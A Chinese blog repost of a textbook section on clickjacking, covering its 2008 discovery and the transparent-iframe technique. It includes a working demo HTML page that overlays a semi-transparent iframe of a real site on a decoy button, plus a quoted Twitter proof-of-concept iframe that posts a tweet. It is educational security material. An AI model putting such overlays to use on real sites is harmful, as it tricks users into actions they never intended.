<转>5.1 什么是点击劫持
《白帽子讲Web安全》第5章点击劫持(ClickJacking),本章讲述了一种新客户端攻击方式:ClickJacking。本节为大家介绍什么是点击劫持。
第5章 点击劫持(ClickJacking)
2008年,安全专家Robert Hansen 与 Jeremiah Grossman发现了一种被他们称为"ClickJacking"(点击劫持)的攻击,这种攻击方式影响了几乎所有的桌面平台,包括IE、 Safari、Firefox、Opera以及Adobe Flash。两位发现者准备在当年的OWASP安全大会上公布并进行演示,但包括Adobe在内的所有厂商,都要求在漏洞修补前不要公开此问题。
5.1 什么是点击劫持
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。
|
| (点击查看大图)点击劫持原理示意图 |
看下面这个例子。
在 http://www.a.com/test.html页面中插入了一个指向目标网站的iframe,出于演示的目的,我们让这个iframe变成半透明:
- <!DOCTYPE html>
- <html>
- <head>
- <title>CLICK JACK!!!</title>
- <style>
- iframe {
- width: 900px;
- height: 250px;
- /* Use absolute positioning to line up update button with fake button */
- position: absolute;
- top: -195px;
- left: -740px;
- z-index: 2;
- /* Hide from view */
- -moz-opacity: 0.5;
- opacity: 0.5;
- filter: alpha(opacity=0.5);
- }
- button {
- position: absolute;
- top: 10px;
- left: 10px;
- z-index: 1;
- width: 120px;
- }
- </style>
- </head>
- <body>
- <iframe src="http://www.qidian.com" scrolling="no"></iframe>
- <button>CLICK HERE!</button>
- </body>
- </html>
在这个test.html中有一个button,如果iframe完全透明时,那么用户看到的是:
| 用户看到的按钮 |
当iframe半透明时,可以看到,在button上面其实覆盖了另一个网页:
| 实际的页面,按钮上隐藏了一个iframe窗口 |
覆盖的网页其实是一个搜索按钮:
|
| 隐藏的iframe窗口的内容 |
当用户试图点击test.html里的button时,实际上却会点击到iframe页面中的搜索按钮。
分析其代码,起到关键作用的是下面这几行:
- iframe {
- width: 900px;
- height: 250px;
- /* Use absolute positioning to line up update button with fake button */
- position: absolute;
- top: -195px;
- left: -740px;
- z-index: 2;
- /* Hide from view */
- -moz-opacity: 0.5;
- opacity: 0.5;
- filter: alpha(opacity=0.5);
- }
通过控制iframe的长、宽,以及调整 top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z- index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置 opacity 来控制iframe页面的透明程度,值为0是完全不可见。
这样,就完成了一次点击劫持的攻击。
点击劫持攻击与CSRF攻击(详见"跨站点请求伪造"一章)有异曲同工之妙,都是在用户不知情的情况下诱使用户完成一些动作。但是在CSRF攻击的 过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。与之相反的是,点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。
twitter也曾经遭受过"点击劫持攻击"。安全研究者演示了一个在别人不知情的情况下发送一条twitter消息的POC,其代码与上例中类似,但是POC中的iframe地址指向了:
- <iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>
在twitter的URL里通过status参数来控制要发送的内容。攻击者调整页面,使得Tweet按钮被点击劫持。当用户在测试页面点击一个可见的button时,实际上却在不经意间发送了一条微博。
posted on 2015-10-28 00:25 hahahahahai12 阅读(185) 评论(0) 收藏 举报


浙公网安备 33010602011771号